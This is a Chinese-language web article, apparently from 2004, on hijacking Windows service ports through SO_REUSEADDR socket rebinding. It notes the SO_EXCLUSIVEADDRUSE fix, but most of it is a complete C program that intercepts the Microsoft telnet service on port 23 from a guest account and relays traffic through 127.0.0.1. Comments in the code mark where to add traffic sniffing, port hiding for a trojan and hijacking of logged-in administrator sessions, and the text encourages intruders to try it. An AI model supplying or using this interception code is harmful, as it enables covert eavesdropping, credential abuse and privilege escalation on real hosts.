您的位置:首页精文荟萃软件资讯 → 用端口截听实现隐藏嗅探与攻击

用端口截听实现隐藏嗅探与攻击

时间:2004/10/8 13:19:00来源:本站整理作者:蓝点我要评论(0)

  在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:


  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);


  saddr.sin_family = AF_INET;


  saddr.sin_addr.s_addr = htonl(INADDR_ANY);


  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));


  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。


  这意味着什么?意味着可以进行如下的攻击:


  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。


  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)


  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。


  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 


  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。


  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。


  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。


  #include
  #include
  #include
  #include   
  DWORD WINAPI ClientThread(LPVOID lpParam);  
  int main()
  {
  WORD wVersionRequested;
  DWORD ret;
  WSADATA wsaData;
  BOOL val;
  SOCKADDR_IN saddr;
  SOCKADDR_IN scaddr;
  int err;
  SOCKET s;
  SOCKET sc;
  int caddsize;
  HANDLE mt;
  DWORD tid;  
  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if ( err != 0 ) {
  printf("error!WSAStartup failed!\n");
  return -1;
  }
  saddr.sin_family = AF_INET;
  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了


  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
  saddr.sin_port = htons(23);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socket failed!\n");
  return -1;
  }
  val = TRUE;
  //SO_REUSEADDR选项就是可以实现端口重绑定的
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
  {
  printf("error!setsockopt failed!\n");
  return -1;
  }
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击


  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
  {
  ret=GetLastError();
  printf("error!bind failed!\n");
  return -1;
  }
  listen(s,2);
  while(1)
  {
  caddsize = sizeof(scaddr);
  //接受连接请求
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
  if(sc!=INVALID_SOCKET)
  {
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
  if(mt==NULL)
  {
  printf("Thread Creat Failed!\n");
  break;
  }
  }
  CloseHandle(mt);
  }
  closesocket(s);
  WSACleanup();
  return 0;
  }  
  DWORD WINAPI ClientThread(LPVOID lpParam)
  {
  SOCKET ss = (SOCKET)lpParam;
  SOCKET sc;
  unsigned char buf[4096];
  SOCKADDR_IN saddr;
  long num;
  DWORD val;
  DWORD ret;
  //如果是隐藏端口应用的话,可以在此处加一些判断
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发  
  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  saddr.sin_port = htons(23);
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
  printf("error!socket failed!\n");
  return -1;
  }
  val = 100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
  ret = GetLastError();
  return -1;
  }
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
  ret = GetLastError();
  return -1;
  }
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
  {
  printf("error!socket connect failed!\n");
  closesocket(sc);
  closesocket(ss);
  return -1;
  }
  while(1)
  {
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
  //如果是嗅探内容的话,可以再此处进行内容分析和记录
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
  num = recv(ss,buf,4096,0);
  if(num>0)
  send(sc,buf,num,0);
  else if(num==0)
  break;
  num = recv(sc,buf,4096,0);
  if(num>0)
  send(ss,buf,num,0);
  else if(num==0)
  break;
  }
  closesocket(ss);
  closesocket(sc);
  return 0 ;
  }



 


相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3

最新文章 微信3.6.0测试版更新了微信支付漏洞会造成哪 360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗

人气排行 xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本